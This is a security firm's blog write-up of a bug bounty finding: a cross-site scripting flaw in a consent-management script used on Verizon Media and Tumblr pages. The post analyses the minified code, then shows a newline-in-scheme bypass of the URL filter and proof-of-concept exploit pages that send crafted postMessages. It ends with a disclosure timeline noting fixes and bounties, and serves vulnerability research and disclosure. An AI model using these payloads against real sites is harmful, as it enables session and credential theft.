This website uses cookies

To provide the highest level of service we use cookies on this site.
Your continued use of the site means that you agree to their use in accordance with our terms and conditions.


Art of bug bounty: a way from JS file analysis to XSS

Jakub Żoczek

July 1, 2020


During my research on other bug bounty program I've found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script.

Below you can find the way of finding bug bounty vulnerabilities from the beginning to the end, which includes:

    > In depth analysis of vulnerability,
    > Proof of Concept for domain,
    > Proof of Concept for

To describe the impact of this research, it is worth to mention that described research should also works for any other host that includes cmp3p.js file.

Browser’s Cross-Origin Communication:

To better understand this vulnerability it’s worth mentioning some mechanism that browsers implement to communicate between origins. One of them is postMessage. If site A have an <iframe> pointing to site B in its source, we can get access to DOM tree of site B from the site A. Because of Same-Origin Policy, to have full access both site A and B must be in same origin. Otherwise, to communicate one of sites need to add onmessage even listener, and second site can send events with data, which will be processed by function defined in listener. For example:

Site A:

                        window.addEventListener("message", function(e) { 

Site B:

                        window.parent.postMessage("Hello world.", "*");

Above mechanism works not only over frames and pop-ups, but also between two tabs. For example if site A have hyperlink to site B, which gonna be clicked – page containing hyperlink can be accessed from new opened tab by window.opener.


During my research I've decided to take a look on main page, the plan was to discover if it handles any postMessages. I've find out that there's interesting function in cmpStub.min.js file, that doesn't check the origin of postMessage. In obfuscated form, it looks as following:

!function() {
                                    var e = !1;
                                    function t(e) {
                                        var t = "string" == typeof
                                          , n =;
                                        if (t)
                                            try {
                                                n = JSON.parse(
                                            } catch (e) {}
                                        if (n && n.__cmpCall) {
                                            var r = n.__cmpCall;
                                            window.__cmp(r.command, r.parameter, function(n, o) {
                                                var a = {
                                                    __cmpReturn: {
                                                        returnValue: n,
                                                        success: o,
                                                        callId: r.callId
                                                e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")

Basing on the above part of code, it is worth to notice that:

    > It takes event data parameter (as JSON string),
    > than parses it using JSON.parse() function,
    > than create javascript object n containing attribute cmpCall (which is object).

Mentioned cmpCall object contains fields called command and parameter which are both based to window.__cmp() function:

     if (e)
                                        return {
                                            init: function(e) {
                                                if (!l.a.isInitialized())
                                                    if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
                                                    p.uiUrl || p.organizationId)
                                                        if (c.a.isSafeUrl(p.uiUrl)) {
                                                            p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
                                                            (t = p.sharedConsentDomain) && r.a.init(t),
                                                            var n = s.a.getGdprApplies();
                                                            !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
                                                            h(function(e) {
                                                                e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                                            }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
                                                                n || (e = !0),
                                                                e ? (g.setGdpr("L"),
                                                                h(function(e) {
                                                                    e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                                                }, !0)) : l.a.initializationComplete()
                                                        } else
                                                            c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  
Valid format is "http&[;s]://"'); // (...)

Although this code is obfuscated, it’s analysis could be problematic, so I will focus on two most important lines:

                        if (c.a.isSafeUrl(p.uiUrl)) {

After checking isSafeUrl definition, we can notice that it checks if URL provided in parameters object (this could be controlled by attacker) is safe:

isSafeUrl: function(e) {
                                   return -1 === (e = (e || "").replace(" ",

If URL provided as function parameter contain javascript: string at beginning it should be treated as unsafe and return -1 (and stop futher execution).

Second interesting line is:

e ? l.a.initializationComplete() : b(l.a.initializationComplete)

Let’s take a look on b() function definition:

b = function(e) {
                                    var n = p.uiUrl ? i.a : a.a;
                                    l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
                                        p.consentString = t,
                                        n.renderConsents(p, function(n, t) {
                                            "function" == typeof e && e(n, t)
                                    }) : n.renderConsents(p, function(n, t) {
                                        "function" == typeof e && e(n, t)

As before – obfuscated, hard to read – but really interesting part here which gonna bring us to the point of this vulnerability is renderConsents() function. Definition:

         renderConsents: function(n, p) {
                                        if ((t = n || {}).siteDomain = window.location.origin,
                                        r = t.uiUrl) {
                                            if (p && u.push(p),
                                            !document.getElementById("cmp-container-id")) {
                                                (i = document.createElement("div")).id = "cmp-container-id",
                                       = "fixed",
                                       = "rgba(0,0,0,.5)",
                                       = 0,
                                       = 0,
                                       = 0,
                                       = 0,
                                       = 1e4,
                                                (a = document.createElement("iframe")).style.position = "fixed",
                                                a.src = r,
                                       = "cmp-ui-iframe",
                                                a.width = 0,
                                                a.height = 0,
                                       = "block",
                                       = 0,
                                       = 10001,

As you can see - renderConsents() is finally interesting element from security perspective, because it creates iframe element with src attribute controlled by attacker, that can be controlled by attacker. We can easy execute Javascript code using <iframe> element by providing code as URI (in src attribute) – by using special URI schema / protocol – javascript. By using <iframe src="javascript:alert(1)"></iframe> browser simply gonna execute alert(1) Javascript code. That was the reason why isSafeUrl() function was previously executed. So how we can still pass URL containing javascript schema at beginning?

It’s good to know that we can still use whitespace characters in schema part of URL, which gonna be ignored by browser. That brings us really simple bypass for isSafeUrl(), consists on provinding URL parameter with newline inside:

> url = "javascript:alert(document.domain);"
                        > isSafeUrl(url)
                        > url="ja\nvascript:alert(document.domain);"
                        > isSafeUrl(url)

After this step, by constructing postMessage with this JSON, it would be possible to execute javascript code:

                            "__cmpCall": {
                                "command": "init",
                                "parameter": {
                                    "uiUrl": "ja\nvascript:alert(document.domain)",
                                    "uiCustomParams": "fdsfds",
                                    "organizationId": "siabada",
                                    "gdprAppliesGlobally": "fdfdsfds"

To pass this message into vulnerable page we also need to have a link to its window object, which can be easily achieved by putting vulnerable page into iframe. When we sum up all described steps, final Proof of Concept would look following:

                        window.setInterval(function(e) {
                         try {
\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*"); } catch(e) {} }, 100); </script> <iframe src=""></iframe>

As far as page doesn't contain X-Frame-Options header, it doesn't require any additional user interaction, visiting malicious website is sufficient. In case when application implement X-Frame-Options header this exploit won't allow attacker to frame target page. Whole attack will require to create connection between two browser tabs to pass postMessages through window.opener, which is also pretty simple:

    > Create a page containing hyperlink to itself.
    > Execute window.opener.postMessage() function with payload in loop.
    > After clicking a link – new tab opens (we have window.opener connection between tabs)
    > Redirect first page to target straight after clicking a link (onclick event)
    > Profit.

That was situation with page, which also contained vulnerable cmp.js code, but page itself wasn’t framable because of X-Frame-Options header. So the Tumblr exploit code looks like this:

                        function e() {
                        	window.setTimeout(function() {
                        	}, 500);
                        window.setInterval(function(e) {
                         try {   window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert
(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*"); } catch(e) {} }, 100); </script> <a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>


Attacker that can execute arbitrary javascript code in context of vulnerable target is able to abuse it in multiple ways such as:

    > Steal sensitive user's data (personal data, messages, etc),
    > steal CSRF tokens and perform malicious actions on behalf of user,
    > steal account credentials and takeover user's account,
    > ...and many others.

07/10/2019 – Found vulnerability and reported it parallelly to Verizon Media and Tumblr
07/10/2019 – Triaged and fixed by Tumblr
08/10/2019 – Fixed by Verizon Media
09/10/2019 – Tumblr rewarded me with $500 bounty
26/10/2019 – Verizon Media rewarded me with $500 bounty

Other Insights

Helping secure DOMPurify


December 21, 2020

Within last year I shared a a few writeups of my bypasses of HTML sanitizers, including: > Write-up of DOMPurify 2.0.0 bypass using mutation XSS > Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass While breaking sanitizers is fun and I thoroughly enjoy doing it, I reached a point where I began to think whether I can contribute even more and propose a fix that will kill an entire class of bypasses.

Pyscript - or rather Python in your browser + what can be done with it

Michał Bentkowski

September 10, 2022

A few days ago, the Anaconda project announced the PyScript framework, which allows Python code to be executed directly in the browser. Additionally, it also covers its integration with HTML and JS code. An execution of the Python code in the browser is not new; the pyodide project has allowed this for a long time...

Art of bug bounty a way from JS file analysis to XSS


July 1, 2020

Summary: During my research on other bug bounty program I've found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script. Below you can find the way of finding bug bounty vulnerabilities from the beginning to the ...

Any questions?

Happy to get a call or email
and help!

Terms and conditions
© 2023 Securitum. All rights reserved.